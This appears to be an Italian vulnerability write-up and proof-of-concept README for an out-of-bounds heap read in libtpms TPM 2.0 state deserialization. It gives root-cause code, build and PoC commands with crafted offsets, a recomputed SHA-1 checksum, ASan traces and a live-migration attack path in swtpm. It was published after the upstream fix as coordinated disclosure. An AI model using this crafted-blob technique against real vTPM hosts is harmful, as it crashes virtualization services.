
Proof-of-concept exploit per CVE-2026-85769, una lettura heap fuori dai limiti nella deserializzazione dello stato TPM 2.0 di libtpms, che dimostra il denial of service tramite un blob di stato appositamente predisposto.
Lettura heap out-of-bounds in libtpms TPM 2.0 durante la deserializzazione dello stato volatile.
Un salto di blocco opzionale senza limiti in block_skip_read() fa avanzare il cursore di unmarshal di una lunghezza a 16 bit controllata dall'attaccante e porta il contatore firmato della dimensione rimanente in negativo. Ogni successivo controllo dei limiti viene quindi superato, perché converte quel valore firmato in unsigned. Un blob di stato volatile contraffatto e con checksum auto-calcolato, passato tramite TPMLIB_SetState(TPMLIB_STATE_VOLATILE, …), produce una lettura heap out-of-bounds e termina il processo che ospita libtpms — swtpm, in una distribuzione vTPM.
| CVE | CVE-2026-85769 |
| Componente | src/tpm2/NVMarshal.c, src/tpm2/Unmarshal.c |
| CWE | CWE-125 ← CWE-191 (Integer Underflow) + CWE-195 (Conversione Signed-to-Unsigned) |
| Versioni interessate | master f7f072b2, v0.10.2 03ff2481 e versioni precedenti che contengono questo codice |
| Correzione | 9e1475ff — "tpm2: Add checks for *size < 0 before casting it to UINT32" (PR #613) |
| CVSS 3.1 | AV:A/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H = 6.5 (Red Hat, Moderate) |
| Segnalazione | 2026-09-01, privatamente al maintainer |
block_skip_read() salta un blocco versionato opzionale facendo avanzare il cursore di parsing, senza verificare la lunghezza rispetto ai byte rimanenti:
} else if (has_block && !needs_block) {
/* byte stream has the data but we don't need them */
*buffer += blocksize; /* blocksize is a UINT16 from the blob */
*size -= blocksize; /* *size is INT32 — goes negative */
*skip_code = TRUE;
}
*size è firmato. Una volta negativo, il controllo posto davanti a ogni lettura scalare smette di funzionare:
if ((UINT32)*size < sizeof(UINT16)) { return TPM_RC_INSUFFICIENT; }
(UINT32)(-8000) = 0xFFFFE0C0 = 4294959296
4294959296 < 2 -> false /* guard passes */
Più il parsing prosegue oltre l'allocazione, più *size diventa negativo — e più grande appare come unsigned. Lo stesso file contiene già la forma corretta in Array_Unmarshal, che confronta il valore firmato.
L'unica barriera di integrità è uno SHA-1 senza chiave aggiunto al blob (src/tpm2/Volatile.c), quindi il PoC lo ricalcola dopo la manomissione.
Raggiungibile tramite TPMLIB_SetState(TPMLIB_STATE_VOLATILE, …) e la catena di ripristino all'accensione TPMLIB_MainInit → _TPM_Init → VolatileLoad.
In una distribuzione swtpm il percorso rilevante è la migrazione live — CMD_GET_STATEBLOB / CMD_SET_STATEBLOB, gestita da libvirt. L'host di destinazione analizza un blob di stato prodotto sull'host di origine. Una --migration-key configurata non mitiga questo problema: la chiave è condivisa tra entrambi gli host, quindi un'origine compromessa la possiede e produce un blob che si decifra correttamente. Protegge da una terza parte interposta, non da un peer ostile.
git clone https://github.com/stefanberger/libtpms
cd libtpms
git checkout 03ff2481e133540be3b3ffe3daa1483d2a73d967 # v0.10.2, or ba73ab17 for pre-fix master
./autogen.sh --with-tpm1 --with-tpm2 --with-openssl \
CFLAGS='-fsanitize=address -fno-omit-frame-pointer -g -O1' \
LDFLAGS='-fsanitize=address'
make -j4
gcc -o poc_f3 poc_f3.c -I include -L src/.libs -Wl,-rpath,src/.libs -ltpms -lcrypto
export ASAN_OPTIONS=abort_on_error=1:detect_leaks=0
# 1. dump a genuine state pair through the public API
./poc_f3 gen perm.bin vol.bin
# 2. forge the ORDERLY_DATA trailer at offset 173 and land 8 bytes past the allocation
./poc_f3 test perm.bin vol.bin 173 8610
# control: load the blob unmutated, expect rc=0
./poc_f3 test perm.bin vol.bin -1 0
8610 è dimensionato in modo che il cursore finisca nella redzone di ASan piuttosto che su un puntatore selvaggio:
blocksize = (len − off − 3) + 8 = (8778 − 173 − 3) + 8 = 8610
L'offset 173 è il byte has_block del trailer skip_future_versions di ORDERLY_DATA. È stato individuato strumentando block_skip_read() per stampare l'offset durante un parsing, non contando i byte — l'offset cambia con il formato dello stato, quindi ricalcolalo se la lunghezza del tuo blob differisce da 8778.
Nota che skip_self_heal_timer non è un trailer utilizzabile: ACCUMULATE_SELF_HEAL_TIMER YES in TpmBuildSwitches.h significa che viene emesso con needs_block = TRUE e prende il ramo sicuro.
==1905==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x525000007352
READ of size 1 at 0x525000007352 thread T0
#0 in UINT16_Unmarshal tpm2/Unmarshal.c:71
#1 in NV_HEADER_UnmarshalVerbose tpm2/NVMarshal.c:419
#2 in NV_HEADER_Unmarshal tpm2/NVMarshal.c:453
#3 in STATE_CLEAR_DATA_Unmarshal tpm2/NVMarshal.c:1302
#4 in VolatileState_Unmarshal tpm2/NVMarshal.c:3431
#5 in VolatileState_Load tpm2/Volatile.c:81
#6 in TPM2_SetState src/tpm_tpm2_interface.c:820
#7 in TPMLIB_SetState src/tpm_library.c:222
0x525000007352 is located 8 bytes after 8778-byte region [0x525000005100,0x52500000734a)
Il guasto emerge in UINT16_Unmarshal, non in block_skip_read — il salto fa avanzare il cursore e ritorna senza leggere. La corruzione si manifesta nella lettura della struttura successiva.
Contro il commit corretto, ogni caso d'attacco restituisce TPM_RC_INSUFFICIENT (0x9a) senza alcun report ASan, e i blob validi vengono ancora ripristinati con rc=0.
Denial of service del processo che ospita libtpms, più comportamento indefinito.
La divulgazione di informazioni è stata testata ed esclusa. Piccoli superamenti su una build senza ASan restituiscono TPM_RC_BAD_TAG (0x1e) ogni volta:
libtpms/tpm2: NV_HEADER_UnmarshalVerbose: Invalid magic. Expected 0x98897667, got 0x00000000
La lettura immediatamente successiva al superamento è un NV_HEADER, il cui magic a 32 bit deve corrispondere a una costante fissa. L'heap adiacente soddisfa questa condizione con p ≈ 2⁻³². Il parsing si interrompe, ClearAllCachedState() scarta tutto e nessun byte out-of-bounds raggiunge TPMLIB_GetState. La riservatezza è quindi C:N. La revisione di Red Hat è giunta alla stessa conclusione in modo indipendente.
Isuka Sanuj — CyberCrew Inc. (株式会社CyberCrew)
Segnalazione indipendente di Leyao (ICT CAS), accreditato sullo stesso CVE.
Questo PoC è pubblicato dopo che il problema è stato corretto upstream e il CVE è stato assegnato. Ha come bersaglio una build locale di una libreria open-source e non fa altro che attivare il parsing. Testa solo ciò che sei autorizzato a testare.
MIT
| Data |
|---|
| 2026-09-01 | Segnalazione privata al maintainer di libtpms |
| 2026-09-04 | Stessa causa principale segnalata pubblicamente e in modo indipendente da Leyao (ICT CAS) come issue libtpms #614 |
| 2026-09-04 | Corretta upstream in 9e1475ff (PR #613); correzione verificata contro questo PoC |
| 2026-09-04 | Segnalata a Red Hat Product Security |
| 2026-09-04 | Assegnato CVE-2026-85769 |